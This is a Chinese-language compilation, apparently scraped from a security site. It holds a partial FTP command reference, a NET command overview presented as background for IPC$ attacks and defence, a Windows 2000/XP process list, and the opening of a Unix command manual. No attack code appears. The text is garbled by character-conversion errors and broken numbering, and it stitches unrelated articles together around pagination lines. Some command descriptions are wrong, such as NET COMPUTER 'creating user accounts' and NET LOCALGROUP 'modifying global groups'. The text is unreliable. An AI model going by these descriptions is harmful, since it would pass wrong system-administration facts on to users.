如mdir remote-file ... local-file參數(shù)我想大家應(yīng)該明白什么意思吧?不明白就看看前面的類似命令吧.
34)mget
說明:使用當(dāng)前文件傳輸類型將多個(gè)遠(yuǎn)程文件復(fù)制到本地計(jì)算機(jī).
如mget remote-files ...其實(shí)remote-files可以指定多個(gè),他就是指定要復(fù)制到本地計(jì)算機(jī)的遠(yuǎn)程文件.
35)mkdir
說明:創(chuàng)建遠(yuǎn)程目錄.
如mkdir directory 這個(gè)命令和nt下的命令提示符中的md directory一樣,不多說了.
36)mls
說明:顯示遠(yuǎn)程目錄的文件和目錄簡(jiǎn)表
如mls remote-file ... local-file其中remote-file這個(gè)參數(shù)是必須要加的,'-'是使用遠(yuǎn)程計(jì)算機(jī)的當(dāng)前工作目錄.
37)mput
說明:使用當(dāng)前文件傳輸類型,將本地文件復(fù)制到遠(yuǎn)程計(jì)算機(jī).
如mput local-files ...
38)mode[mode-name]
說明:將文件傳輸方式設(shè)置為mode-name,缺省為stream方式。
39)modtime file-name
說明:顯示遠(yuǎn)程主機(jī)文件的最后修改時(shí)間。
39)newerfile-name
說明:如果遠(yuǎn)程機(jī)中file-name的修改時(shí)間比本地硬盤同名文件的 時(shí)間更近,則重傳該文件。
40)nlist[remote-dir][local-file]
說明:顯示遠(yuǎn)程主機(jī)目錄的文件清單,并存入本 地硬盤的local-file。
41)nmap[inpatternoutpattern]
說明:設(shè)置文件名映射機(jī)制,使得文件傳輸時(shí),文件中的 某些字符相互轉(zhuǎn)換。
如nmap¥1.¥2.¥3[¥1,¥2].[¥2,¥3],則傳輸文件a1.a2.a3時(shí) , 文件名變?yōu)閍1、a2,該命令特別適用于遠(yuǎn)程主機(jī)為非U-NIX機(jī)的情況。
42)ntrans[inchars[outchars]
說明:設(shè)置文件名字符的翻譯機(jī)制,如ntrans1R,則文件名LLL將變?yōu)镽RR。
43)open
說明:連接到指定ftp服務(wù)器上,
如open computer port 其中computer一般是遠(yuǎn)程計(jì)算機(jī)的ip地址,port不用說就是指定端口了。
44)passive
說明:進(jìn)入被動(dòng)傳輸方式。
45)prompt
說明:轉(zhuǎn)換提示,在多個(gè)文件傳輸?shù)臅r(shí)候,ftp提示可以有選擇的檢索或保存文件,如果關(guān)閉提示,則mget和mput命令傳輸所有文件,在默認(rèn)情況下是打開的.
46)proxyftp-cmd
說明:在次要控制連接中,執(zhí)行一條ftp命令,該命令允許連接兩個(gè)ftp服務(wù)器,以在兩個(gè)服務(wù)器間傳輸文件。第一條ftp命令必須為open,以首先建立兩個(gè)服務(wù)器間的連接
47)put
說明:使用當(dāng)前文件傳輸類型將本地文件復(fù)制到遠(yuǎn)程計(jì)算機(jī)中,
如put local-file remote-file其中l(wèi)ocal-file是指定要復(fù)制的本地文件,remote-file是指定要復(fù)制的遠(yuǎn)程計(jì)算機(jī)上的文件名,不指定的話是和本地計(jì)算機(jī)上的文件名同名.
48)pwd
說明:顯示遠(yuǎn)程呢感計(jì)算機(jī)上的當(dāng)前目錄.
49)quit
說明:結(jié)束與遠(yuǎn)程計(jì)算機(jī)的ftp會(huì)話,并退出ftp.
50)quote
說明:向遠(yuǎn)程ftp服務(wù)器發(fā)送協(xié)議,報(bào)告.期待ftp單碼應(yīng)答,這個(gè)命令的功能和literal相同.
51)recv
說明:使用當(dāng)前文件傳輸類型將遠(yuǎn)程文件復(fù)制到本地計(jì)算機(jī),他與get命令作用相同。
52)regetremote-file[local-file]
說明:類似于get,但若local-file存在,則從上 次傳輸中斷處續(xù)傳
53)remotehelp
說明:顯示遠(yuǎn)程命令的幫助.這個(gè)命令的用法和help,!一樣可以參考他的用法.
54)rename
說明:更改遠(yuǎn)程計(jì)算機(jī)上的文件名。這個(gè)命令和nt的命令提示符的ren一樣。
如rename filename newfilename
55)reset
說明:清除回答隊(duì)列。
56)restart marker
說明:從指定的標(biāo)志marker處,重新開始get或put,如restart 130。
57)rmdir
說明:刪除遠(yuǎn)程目錄.這個(gè)命令和nt的命令提示符的rm一樣。
如rmdir directory
58)runique
說明:設(shè)置文件名唯一性存儲(chǔ),若文件存在,則在原文件后加后綴。
59)send
說明:使用當(dāng)前文件傳輸類型將本地文件復(fù)制到遠(yuǎn)程計(jì)算機(jī).send和put命令的功能一樣。
如send local-file remote-file
60)status
說明:顯示ftp連接和轉(zhuǎn)換的當(dāng)前狀態(tài)
61sendport
說明:設(shè)置PORT命令的使用。
62)site arg1,arg2......
說明:將參數(shù)作為SITE命令逐字發(fā)送至遠(yuǎn)程ftp主機(jī)。
63)size file-name
說明:顯示遠(yuǎn)程主機(jī)文件大小。
如site idle 7200。
64)status
說明:顯示當(dāng)前ftp狀態(tài)。
65)struct[struct-name]
說明:將文件傳輸結(jié)構(gòu)設(shè)置為struct-name,缺省時(shí)使用 stream結(jié)構(gòu)。
66)sunique
說明:將遠(yuǎn)程主機(jī)文件名存儲(chǔ)設(shè)置為唯一(與runique對(duì)應(yīng))。
67)system
說明:顯示遠(yuǎn)程主機(jī)的作系統(tǒng)類型。
68)tenex
說明:將文件傳輸類型設(shè)置為TENEX機(jī)所需的類型。
69)tick
說明:設(shè)置傳輸時(shí)的字節(jié)計(jì)數(shù)器。
70)trace
說明:轉(zhuǎn)換報(bào)文跟蹤,運(yùn)行ftp的命令時(shí),trace將顯示沒個(gè)報(bào)文的理由。
71)type
說明:設(shè)置或顯示文件傳輸類型.
如type [type-name]其中type-name 的意思是文件傳輸?shù)念愋?,默認(rèn)是ASCII,沒加這個(gè)參數(shù)就是顯示當(dāng)前的傳輸類型.
72umask[newmask]
說明:將遠(yuǎn)程服務(wù)器的缺省umask設(shè)置為newmask,如umask 3。
73)user
說明:指定連接到遠(yuǎn)程計(jì)算機(jī)的用戶.
如user user-name [passwd] [account]其中user-name不用說都是用來登陸計(jì)算機(jī)的用戶名了,passwd是指定user-name的密碼,不指定的話ftp會(huì)提示輸入密碼。account是指定用來登陸計(jì)算機(jī)的帳號(hào),如不指定,ftp會(huì)提示輸入帳號(hào).
74)verbose
說明:轉(zhuǎn)換冗余模式,這里如果打開,會(huì)顯示所有ftp響應(yīng),文件傳輸結(jié)束的時(shí)候會(huì)顯示傳輸?shù)男屎徒y(tǒng)計(jì)信息,默認(rèn)的情況是打開的.
NET命令全接觸!!
命令在WINDOWS下非常實(shí)用,那么為什么在這個(gè)安全版塊講呢!因?yàn)镮PC$在HACKER攻擊中作用得重要性大家都十分清楚.ipc$連接可以實(shí)現(xiàn)遠(yuǎn)程登陸及對(duì)默認(rèn)共享的訪問;而139端口的開啟表示netbios協(xié)議的應(yīng)用,我們可以通過139,445(win2000)端口實(shí)現(xiàn)對(duì)共享文件/打印機(jī)的訪問.要實(shí)施一次IPC$攻擊就必須首先了解對(duì)方有沒有共享信息和類別.所以說大家了解了NET命令才能更好得掌握和防止IPC$攻擊>.下面我給大家介紹一下NET命令,希望能給大家更好的了解IPC$
NET HELP 不用說就是NET命令得幫助信息了
NET COMPUTER 創(chuàng)建用戶帳號(hào).
NET GROUP 修改全局組設(shè)置
NET CONFIG 這個(gè)命令在2000服務(wù)器版本中經(jīng)常能用到. 它是用來顯示服務(wù)器配置信息.
NET SATATICS 用來統(tǒng)計(jì)網(wǎng)絡(luò)信息的
NET USE 這個(gè)最常用了.不用我多說用來訪問網(wǎng)絡(luò)共享資源得
NET FILE顯示文件的共享和鎖定信息
NET START 用來啟動(dòng)網(wǎng)絡(luò)服務(wù)
NET STOP 嘿嘿當(dāng)然是用來關(guān)閉網(wǎng)絡(luò)服務(wù)的
NET SEND 向一個(gè)目標(biāo)機(jī)發(fā)送服務(wù)的
NET CONTINUE 重新啟動(dòng)服務(wù)
NET ACCOUNT 在2000和NT中維護(hù)帳戶數(shù)據(jù)庫的
NET LOCALGROUP 修改全局組設(shè)置
NET VIEW查看網(wǎng)絡(luò)共享資源
NET SHARE 用來創(chuàng)建或刪除系統(tǒng)中共享資源的
NET PAUSE 暫停網(wǎng)絡(luò)服務(wù).
NET NAME修改或刪除信息名
NET USER維護(hù)帳戶信息
一口氣終于寫玩了.大家看看要是哪點(diǎn)不對(duì)請(qǐng)多多賜教.
2000-xp詳細(xì)進(jìn)程表
今天去朋友那里玩,看到這個(gè),給他拉過來了!
大家收藏一下
好東西呀!
-----------------------------------------
最基本的系統(tǒng)進(jìn)程(也就是說,這些進(jìn)程是系統(tǒng)運(yùn)行的基本條件,有了這些進(jìn)程,系統(tǒng)就能正常運(yùn)行):
smss.exe Session Manager
csrss.exe 子系統(tǒng)服務(wù)器進(jìn)程
winlogon.exe 管理用戶登錄
services.exe 包含很多系統(tǒng)服務(wù)
lsass.exe 管理 IP 安全策略以及啟動(dòng) ISAKMP/Oakley (IKE) 和 IP 安全驅(qū)動(dòng)程序。(系統(tǒng)服務(wù))
產(chǎn)生會(huì)話密鑰以及授予用于交互式客戶/服務(wù)器驗(yàn)證的服務(wù)憑據(jù)(ticket)。(系統(tǒng)服務(wù))
svchost.exe 包含很多系統(tǒng)服務(wù)
svchost.exe
SPOOLSV.EXE 將文件加載到內(nèi)存中以便遲后打印。(系統(tǒng)服務(wù))
explorer.exe 資源管理器
internat.exe 托盤區(qū)的拼音圖標(biāo)
附加的系統(tǒng)進(jìn)程(這些進(jìn)程不是必要的,你可以根據(jù)需要通過服務(wù)管理器來增加或減少):
mstask.exe 允許程序在指定時(shí)間運(yùn)行。(系統(tǒng)服務(wù))
regsvc.exe 允許遠(yuǎn)程注冊(cè)表xx作。(系統(tǒng)服務(wù))
winmgmt.exe 提供系統(tǒng)管理信息(系統(tǒng)服務(wù))。
inetinfo.exe 通過 Internet 信息服務(wù)的管理單元提供 FTP 連接和管理。(系統(tǒng)服務(wù))
tlntsvr.exe 允許遠(yuǎn)程用戶登錄到系統(tǒng)并且使用命令行運(yùn)行控制臺(tái)程序。(系統(tǒng)服務(wù))
允許通過 Internet 信息服務(wù)的管理單元管理 Web 和 FTP 服務(wù)。(系統(tǒng)服務(wù))
tftpd.exe 實(shí)現(xiàn) TFTP Internet 標(biāo)準(zhǔn)。該標(biāo)準(zhǔn)不要求用戶名和密碼。遠(yuǎn)程安裝服務(wù)的一部分。(系統(tǒng)服務(wù))
termsrv.exe 提供多會(huì)話環(huán)境允許客戶端設(shè)備訪問虛擬的 Windows 2000 Professional 桌面會(huì)話以及運(yùn)行在服務(wù)器上的基
于 Windows 的程序。(系統(tǒng)服務(wù))
dns.exe 應(yīng)答對(duì)域名系統(tǒng)(DNS)名稱的查詢和更新請(qǐng)求。(系統(tǒng)服務(wù))
以下服務(wù)很少會(huì)用到,上面的服務(wù)都對(duì)安全有害,如果不是必要的應(yīng)該關(guān)掉
tcpsvcs.exe 提供在 PXE 可遠(yuǎn)程啟動(dòng)客戶計(jì)算機(jī)上遠(yuǎn)程安裝 Windows 2000 Professional 的能力。(系統(tǒng)服務(wù))
支持以下 TCP/IP 服務(wù):Character Generator, Daytime, Discard, Echo, 以及 Quote of the Day。(系統(tǒng)服務(wù))
ismserv.exe 允許在 Windows Advanced Server 站點(diǎn)間發(fā)送和接收消息。(系統(tǒng)服務(wù))
ups.exe 管理連接到計(jì)算機(jī)的不間斷電源(UPS)。(系統(tǒng)服務(wù))
wins.exe 為注冊(cè)和解析 NetBIOS 型名稱的 TCP/IP 客戶提供 NetBIOS 名稱服務(wù)。(系統(tǒng)服務(wù))
llssrv.exe License Logging Service(system service)
ntfrs.exe 在多個(gè)服務(wù)器間維護(hù)文件目錄內(nèi)容的文件同步。(系統(tǒng)服務(wù))
RsSub.exe 控制用來遠(yuǎn)程儲(chǔ)存數(shù)據(jù)的媒體。(系統(tǒng)服務(wù))
locator.exe 管理 RPC 名稱服務(wù)數(shù)據(jù)庫。(系統(tǒng)服務(wù))
lserver.exe 注冊(cè)客戶端許可證。(系統(tǒng)服務(wù))
dfssvc.exe 管理分布于局域網(wǎng)或廣域網(wǎng)的邏輯卷。(系統(tǒng)服務(wù))
clipsrv.exe 支持“剪貼簿查看器”,以便可以從遠(yuǎn)程剪貼簿查閱剪貼頁面。(系統(tǒng)服務(wù))
msdtc.exe 并列事務(wù),是分布于兩個(gè)以上的數(shù)據(jù)庫,消息隊(duì)列,文件系統(tǒng),或其它事務(wù)保護(hù)資源管理器。(系統(tǒng)服務(wù))
faxsvc.exe 幫助您發(fā)送和接收傳真。(系統(tǒng)服務(wù))
cisvc.exe Indexing Service(system service)
dmadmin.exe 磁盤管理請(qǐng)求的系統(tǒng)管理服務(wù)。(系統(tǒng)服務(wù))
mnmsrvc.exe 允許有權(quán)限的用戶使用 NetMeeting 遠(yuǎn)程訪問 Windows 桌面。(系統(tǒng)服務(wù))
netdde.exe 提供動(dòng)態(tài)數(shù)據(jù)交換 (DDE) 的網(wǎng)絡(luò)傳輸和安全特性。(系統(tǒng)服務(wù))
smlogsvc.exe 配置性能日志和警報(bào)。(系統(tǒng)服務(wù))
rsvp.exe 為依賴質(zhì)量服務(wù)(QoS)的程序和控制應(yīng)用程序提供網(wǎng)絡(luò)信號(hào)和本地通信控制安裝功能。(系統(tǒng)服務(wù))
RsEng.exe 協(xié)調(diào)用來儲(chǔ)存不常用數(shù)據(jù)的服務(wù)和管理工具。(系統(tǒng)服務(wù))
RsFsa.exe 管理遠(yuǎn)程儲(chǔ)存的文件的xx作。(系統(tǒng)服務(wù))
grovel.exe 掃描零備份存儲(chǔ)(SIS)卷上的重復(fù)文件,并且將重復(fù)文件指向一個(gè)數(shù)據(jù)存儲(chǔ)點(diǎn),以節(jié)省磁盤空間。(系統(tǒng)服務(wù))
SCardSvr.exe 對(duì)插入在計(jì)算機(jī)智能卡閱讀器中的智能卡進(jìn)行管理和訪問控制。(系統(tǒng)服務(wù))
上一頁 [1] [2] [3] [4] [5] [6] [7] 下一頁
文章錄入:csh 責(zé)任編輯:cshsnmp.exe 包含代理程序可以監(jiān)視網(wǎng)絡(luò)設(shè)備的活動(dòng)并且向網(wǎng)絡(luò)控制臺(tái)工作站匯報(bào)。(系統(tǒng)服務(wù))
snmptrap.exe 接收由本地或遠(yuǎn)程 SNMP 代理程序產(chǎn)生的陷阱消息,然后將消息傳遞到運(yùn)行在這臺(tái)計(jì)算機(jī)上 SNMP 管理程序
。(系統(tǒng)服務(wù))
UtilMan.exe 從一個(gè)窗口中啟動(dòng)和配置輔助工具。(系統(tǒng)服務(wù))
msiexec.exe 依據(jù) .MSI 文件中包含的命令來安裝、修復(fù)以及刪除軟件。(系統(tǒng)服務(wù))
有些東西是我們一定一定要記住的。
第一章 目錄及文件操作命令
1.1 ls
[語法]: ls [-RadCxmlnogrtucpFbqisf1] [目錄或文件......]
[說明]: ls 命令列出指定目錄下的文件,缺省目錄為當(dāng)前目錄 ./,缺省輸出順序?yàn)榭v向按字符順序排列。
-R 遞歸地列出每個(gè)子目錄的內(nèi)容
-a 列出所有文件,包括第一個(gè)字符為“.”的隱藏文件
-d 若后面參數(shù)是目錄,則只列出目錄名而不列出目錄內(nèi)容,常與-l選項(xiàng)連
用以顯示目錄狀態(tài)。
-C 輸出時(shí)多列顯示
-x 橫向按字符順序排列
-m 輸出按流式格式橫向排列,文件名之間用逗號(hào)(,)分隔
-l 長列表輸出,顯示文件詳細(xì)信息,每行一個(gè)文件,從左至右依次是:
文件存取模式 鏈接數(shù) 文件主 文件組 文件字節(jié)數(shù) 上次修改時(shí)間
其中文件存取模式用10個(gè)字母表示,從左至右的意義如下:
第一個(gè)字母表示文件種類,可以是以下幾種情況:
d 為目錄文件
l 為鏈接
b 為塊文件
c 為字符型文件
p 為命名管道(FIFO)
- 為普通文件
后面9個(gè)字母分別表示文件主、同組用戶、其他用戶對(duì)文件的權(quán)力,用r表示可讀,w 表示可寫,x 表示可執(zhí)行。如果是設(shè)備文件,則在文件字節(jié)數(shù)處顯示:主設(shè)備 從設(shè)備。
-n 與-l選項(xiàng)相同,只是文件主用數(shù)字(即UID)顯示,文件組用數(shù)字
(即GID)表示
-o 與-l選項(xiàng)相同,只是不顯示文件組
-g 與-l選項(xiàng)相同,只是不顯示文件主
-r 逆序排列
-t 按時(shí)間順序排列而非按名字
-u 顯示時(shí)間時(shí)使用上次訪問時(shí)間而非上次修改時(shí)間
-c 顯示時(shí)間時(shí)使用上次修改i節(jié)點(diǎn)時(shí)間而非上次修改時(shí)間
-p 若所列文件是目錄文件,則在其后顯示斜杠(/)
-F 在目錄文件后加'/',在可執(zhí)行文件后加'*'
-b 文件名中若有非打印字符,則用八進(jìn)制顯示該字符
-q 文件名中的打印字符用'?'表示
-i 顯示節(jié)點(diǎn)號(hào)
-s 顯示文件長度時(shí)使用塊長度而非字節(jié)長度
-f 將后面的參數(shù)解釋為目錄并列出其中的每一項(xiàng)
-1 每行僅列一項(xiàng)
[例子]:
ls 列出當(dāng)前目錄下的文件
ls -al /bin 以長列表的形式列出目錄 /bin 下的所有文件,包括隱藏文件
1.2 pwd
[語法]: pwd
[說明]: 本命令用于顯示當(dāng)前的工作目錄
[例子]:
pwd 顯示出當(dāng)前的工作目錄
1.3 cd
[語法]: cd [目錄]
[說明]:本命令用于改變當(dāng)前的工作目錄,無參數(shù)時(shí)使用環(huán)境變量$HOME 作為其參數(shù),$HOME 一般為注冊(cè)時(shí)進(jìn)入的路徑。
[例子]:
cd 回到注冊(cè)進(jìn)入時(shí)的目錄
cd /tmp 進(jìn)入 /tmp 目錄
cd ../ 進(jìn)入上級(jí)目錄
1.4 mkdir
[語法]: mkdir [-m 模式] [-p] 目錄名
[說明]: 本命令用于建立目錄,目錄的存取模式由掩碼(umask)決定,要求對(duì)其父目錄具有寫權(quán)限,目錄的UID和GID為實(shí)際UID和GID
-m 按指定存取模式建立目錄
-p 建立目錄時(shí)建立其所有不存在的父目錄
[例子]:
mkdir tmp 在當(dāng)前目錄下建立子目錄 tmp
mkdir -m 777 /tmp/abc 用所有用戶可讀可寫可執(zhí)行的存取模式
建立目錄 /tmp/aaa ,存取模式參看命令 chmod
mkdir -p /tmp/a/b/c 建立目錄 /tmp/a/b/c ,若不存在目錄 /tmp/a
及/tmp/a/b 則建立之
1.5 rmdir
[語法]: rmdir [-p] [-s] 目錄名
[說明]: 本命令用于刪除目錄
-p 刪除所有已經(jīng)為空的父目錄
-s 當(dāng)使用-p 選項(xiàng)時(shí),出現(xiàn)錯(cuò)誤不提示
[例子]:
rmdir /tmp/abc 刪除目錄 /tmp/abc
rmdir -p /tmp/a/b/c 刪除目錄 /tmp/a/b/c ,若目錄 /tmp/a /b
及/tmp/a 空,則刪除
1.6 cat
[語法]: cat [-u] [-s] [-v[-t] [-e]] 文件...
[說明]: 顯示和連接一個(gè)或多個(gè)文件至標(biāo)準(zhǔn)輸出
-u 無緩沖的輸出(缺省為有緩沖輸出)
-s 對(duì)不存在的文件不作提示
-v 顯示出文件中的非打印字符,控制字符顯示成^n ,n為八進(jìn)制數(shù)字,
其他非打印字符顯示成M-x , x 為該字符低7位的8進(jìn)制數(shù)值
-t 在使用-v 選項(xiàng)時(shí),將制表符(tab) 顯示成 ^I,將換頁符
(formfeed)顯示成 ^ L
-e 在使用-v 選項(xiàng)時(shí),在每一行的行尾顯示 $
[例子]:
cat file 顯示文件
cat -s -v -e file1 file2 file3 逐個(gè)顯示文件 file1 file2 file3
1.7 head
[語法]: head [-n] [文件 ...]
[說明]: 將文件的頭n 行顯示輸出,缺省值為 10 行,顯示多個(gè)文件時(shí),在每個(gè)文件的前面加上 ==> 文件名 <==
[例子]:
head -9999 file1 file2 顯示文件 file1 和 file2 的頭 9999 行
1.8 more
[語法]: more [-cdflrsuw] [- 行數(shù)] [+ 行數(shù)] [+ / 模式 ] [ 文件 ... ]
[說明]: 將文件顯示在終端上,每次一屏,在左下部顯示 --more--,若是從文件讀出而非從管道,則在后面顯示百分比,表示已顯示的部分,按回車鍵則上滾一行,按空格鍵則上滾一屏,未顯示完時(shí)可以使用more 命令中的子命令。
-c 顯示文件之前先清屏
-d 當(dāng)輸錯(cuò)命令時(shí)顯示錯(cuò)誤信息而不是響鈴(bell)
-f 不折疊顯示長的行
-l 不將分頁控制符(CTRL D)當(dāng)作頁結(jié)束
-r 一般情況下,more 不顯示控制符,本選項(xiàng)使more 顯示控制符,
例如,將 (CTRL C) 顯示成 ^ C
-s 將多個(gè)空行轉(zhuǎn)換成一個(gè)空行顯示
-u 禁止產(chǎn)生下劃線序列
-w 一般情況下 more 顯示完后立即推出,本選項(xiàng)在顯示完后作提
示,敲任意鍵后推出
-n 行數(shù) 指定每屏顯示的行數(shù)
+ 行號(hào) 從指定行號(hào)開始顯示
+/模式 在文件中搜索指定模式,從模式出現(xiàn)行的上兩行開始顯示 文件未顯示完時(shí),可以使用more 命令中的子命令,命令中除了! 和 / 以外均不回顯,也不用敲回車,當(dāng)命令破壞 more 提示行時(shí),可用退格鍵恢復(fù)提示行。在以下子命令操作中,i 表示數(shù)字,缺省值為 1。
i 空格 上滾一屏多 i 行
i 回車 上滾 i 行
i CTRL+D i 缺省時(shí)上滾 11 行,否則上滾 i 行
id i 缺省時(shí)上滾 11 行,否則上滾 i 行
iz i 缺省時(shí)上滾一屏,否則定義每屏為 i 行
is 跳過 i 行后顯示一屏
if 跳過 i 屏后顯示一屏
i CTRL+B 跳回 i 屏后顯示一屏
b 跳回 一屏后顯示一屏
q 或 Q 推出 more
= 顯示當(dāng)前行號(hào)
v 從當(dāng)前行開始編輯當(dāng)前文件編輯器由環(huán)境變量
$EDITOR定義
h 顯示幫助信息
i / 模式 向前搜索,直至模式的第 i 次出現(xiàn) , 從該行的上 兩行開始顯示一屏
in 向前搜索,直至上一模式的第 i 次出現(xiàn) , 從該行 的上兩行開始顯示一屏
單引號(hào) 回到上次搜索的出發(fā)點(diǎn),若無搜索則回到開始位置
! 命令 激活一個(gè)sh 去執(zhí)行指定的命令
i : n 跳到后面第 i 個(gè)文件,若不存在則跳到最后一個(gè)文件
:f 顯示當(dāng)前文件名和行號(hào)
:q 或 :Q 推出 more
. (點(diǎn)) 重復(fù)上次命令
[ 例子]:
more -c +50 file 清屏后,從第50行開始顯示文件 file
more -s -w file1 file2 file3 顯示文件 file1 file2 file3
1.9 cp
[語法]: cp [ -p ] [ -r ] 文件 1 [ 文件 2 ...] 目標(biāo)
[說明]: 將文件1(文件2 ...)拷貝到目標(biāo)上,目標(biāo)不能與文件同名, 若目標(biāo)是文件名,則拷貝的文件只能有一個(gè),若目標(biāo)是目錄, 則拷貝的文件可以有多個(gè),若目標(biāo)文件不存在,則建立這個(gè)文件,若存在,則覆蓋其以前的內(nèi)容,若目標(biāo)是目錄,則將文件拷貝到這個(gè)目錄下。
- i 在覆蓋已存在文件時(shí)作提示,若回答 y 則覆蓋,其他則中止
- p 不僅拷貝文件內(nèi)容,還有修改時(shí)間,存取模式,存取控制表, 但不拷貝
UID 及 GID
- r 若文件名為目錄,則拷貝目錄下所有文件及子目錄和它們的文件,此時(shí)
目標(biāo)必須為目錄
[例子]:
cp file1 file2 將文件 file1 拷貝到文件 file2
cp file1 file2 /tmp 將文件 file1 和文件 file2 拷貝到目錄 /tmp 下
cp -r /tmp /mytmp 將目錄 /tmp 下所有文件及其子目錄拷貝至目錄/mytmp
1.10 mv
[語法]: mv [-f] [-i] 文件1 [文件2...] 目標(biāo)
[說明]: 將文件移動(dòng)至目標(biāo),若目標(biāo)是文件名,則相當(dāng)于文件改名
- i 在覆蓋已存在文件時(shí)作提示,若回答 y 則覆蓋,其他則中止
- f 覆蓋前不作任何提示
[例子]:
mv file1 file2 將文件 file1 改名為 file2
mv file1 file2 /tmp 將文件 file1 和文件 file2 移動(dòng)到目錄 /tmp 下
1.11 rm
[語法]: rm [-f] [-i] 文件...
或 rm -r [-f] [-i] 目錄名... [文件]
[說明]: 用來刪除文件或目錄
- f 刪除文件時(shí)不作提示
- r 遞歸地刪除目錄及其所有子目錄
- i 刪除文件之前先作提示
[例子]:
rm file1 刪除文件 file1
rm -i /tmp/* 刪除目錄 /tmp 下的所有文件
rm -r /mytmp 遞歸地刪除目錄 /mytmp
1.12 chmod
[語法]: chmod [-R] 模式 文件...
或 chmod [ugoa] {+|-|=} [rwxst] 文件...
[說明]: 改變文件的存取模式,存取模式可表示為數(shù)字或符號(hào)串,例如:
chmod nnnn file , n為0-7的數(shù)字,意義如下:
4000 運(yùn)行時(shí)可改變UID
2000 運(yùn)行時(shí)可改變GID
1000 置粘著位
0400 文件主可讀
0200 文件主可寫
0100 文件主可執(zhí)行
0040 同組用戶可讀
0020 同組用戶可寫
0010 同組用戶可執(zhí)行
0004 其他用戶可讀
0002 其他用戶可寫
0001 其他用戶可執(zhí)行
nnnn 就是上列數(shù)字相加得到的,例如 chmod 0777 file 是指將文件 file 存取權(quán)限置為所有用戶可讀可寫可執(zhí)行。
-R 遞歸地改變所有子目錄下所有文件的存取模式
u 文件主
g 同組用戶
o 其他用戶
a 所有用戶
+ 增加后列權(quán)限
- 取消后列權(quán)限
= 置成后列權(quán)限
r 可讀
w 可寫
x 可執(zhí)行
s 運(yùn)行時(shí)可置UID
t 運(yùn)行時(shí)可置GID
[例子]:
chmod 0666 file1 file2 將文件 file1 及 file2 置為所有用戶可讀可寫
chmod u+x file 對(duì)文件 file 增加文件主可執(zhí)行權(quán)限
chmod o-rwx 對(duì)文件file 取消其他用戶的所有權(quán)限
1.13 chown
[語法]: chown [-R] 文件主 文件...
[說明]: 文件的UID表示文件的文件主,文件主可用數(shù)字表示, 也可用一個(gè)有效的用戶名表示,此命令改變一個(gè)文件的UID,僅當(dāng)此文件的文件主或超級(jí)用戶可使用。
-R 遞歸地改變所有子目錄下所有文件的存取模式
[例子]:
chown mary file 將文件 file 的文件主改為 mary
chown 150 file 將文件 file 的UID改為150
1.14 chgrp
[語法]: chgrp [-R] 文件組 文件...
[說明]: 文件的GID表示文件的文件組,文件組可用數(shù)字表示, 也可用一個(gè)有效的組名表示,此命令改變一個(gè)文件的GID,可參看chown。
-R 遞歸地改變所有子目錄下所有文件的存取模式
[例子]:
chgrp group file 將文件 file 的文件組改為 group
1.15 cmp
[語法]: cmp [-l] [-s] 文件1 文件2
[說明]: 比較兩個(gè)文件,若文件1 為 "-" ,則使用標(biāo)準(zhǔn)輸入, 兩個(gè)文件相同則無提示,不同則顯示出現(xiàn)第一個(gè)不同時(shí)的字符數(shù)和行號(hào)。
-l 顯示每個(gè)不同處的字節(jié)數(shù)(10進(jìn)制)和不同的字節(jié)(8進(jìn)制)
-s 不作任何提示,只返回碼
[例子]:
cmp file1 file2 比較文件 file1 和 file2
cmp -l file1 file2 比較文件file1 和 file2 的每處不同
1.16 diff
[語法]: diff [-be] 文件1 文件2
[說明]: 本命令比較兩個(gè)文本文件,將不同的行列出來
-b 將一串空格或TAB轉(zhuǎn)換成一個(gè)空格或TAB
-e 生成一個(gè)編輯角本,作為ex或ed的輸入可將文件1轉(zhuǎn)換成文件2
[例子]:
diff file1 file2
diff -b file1 file2
diff -e file1 file2 >edscript
1.17 wc
[語法]: wc [-lwc] 文件...
[說明]: 統(tǒng)計(jì)文件的行、字、字符數(shù),若無指定文件,則統(tǒng)計(jì)標(biāo)準(zhǔn)輸入
-l 只統(tǒng)計(jì)行數(shù)
-w 只統(tǒng)計(jì)字?jǐn)?shù)
-c 只統(tǒng)計(jì)字符數(shù)
[例子]:
wc -l file1 file2 統(tǒng)計(jì)文件file1和file2 的行數(shù)
1.18 split
[語法]: split [-n] [ 文件 [名字]]
[說明]: split 將指定大文件分解為若干個(gè)小文件,每個(gè)文件長度為n行(n 缺省時(shí)為1000),第一個(gè)小文件名為指定的名字后跟aa,直至zz,名字缺省值為x,若未指定大文件名,則使用標(biāo)準(zhǔn)輸入
[例子]:
split -500 largefile little
將文件largefile 每500行寫入一個(gè)文件,第一個(gè)文件名為littleaa
1.19 touch
[語法]: touch [-amc] [mmddhhmm[yy]] 文件...
[說明]: 將指定文件的訪問時(shí)間和修改時(shí)間改變,若指定文件不存在則創(chuàng)建之,若無指定時(shí)間,則使用當(dāng)前時(shí)間,返回值是未成功改變時(shí)間的文件個(gè)數(shù),包括不存在而又未能創(chuàng)建的文件。
-a 只改變?cè)L問時(shí)間
-m 只改變修改時(shí)間
-c 若文件不存在,不創(chuàng)建它且不作提示
mmddhhmm[yy] 兩位表示 月日時(shí)分[年]
[例子]:
touch file
更新文件file的時(shí)間
touch 0701000097 HongKong
將文件HongKong的時(shí)間改為97年7月1日0時(shí)0分
1.20 file
[語法]: file [-f 文件名文件] 文件...
[說明]: file 對(duì)指定文件進(jìn)行測(cè)試,盡量猜測(cè)出文件類型并顯示出來
-f 文件名文件 文件名文件是一個(gè)包含了文件名的文本文件, -f 選項(xiàng)測(cè)試
文件名文件中所列出的文件
[例子]:
file * 顯示當(dāng)前目錄下所有文件的類型
1.21 pack
[語法]: pack 文件...
[說明]: pack 將指定文件轉(zhuǎn)儲(chǔ)為壓縮格式,文件名后加 ".z ", 文件存取模式,訪問時(shí)間,修改時(shí)間等均不變
[例子]:
pack largefile 將largefile 壓縮后轉(zhuǎn)儲(chǔ)為largefile.z
1.22 pcat 顯示壓縮文件
[語法]: pcat 文件...
[說明]: pcat 顯示輸出壓縮文件
[例子]:
pcat largefile.z 顯示壓縮前的largefile
pcat largefile.z > oldfile 顯示壓縮前的laregfile,并將其重定向到
文件oldfile中
1.23 unpack
[語法]: unpack 文件...
[說明]: 將壓縮后的文件解壓后轉(zhuǎn)儲(chǔ)為壓縮前的格式
[例子]:
unpack largefile.z 將壓縮文件largefile.z解壓后轉(zhuǎn)儲(chǔ)為largefile
1.24 find
[語法]: find 路徑名... 表達(dá)式
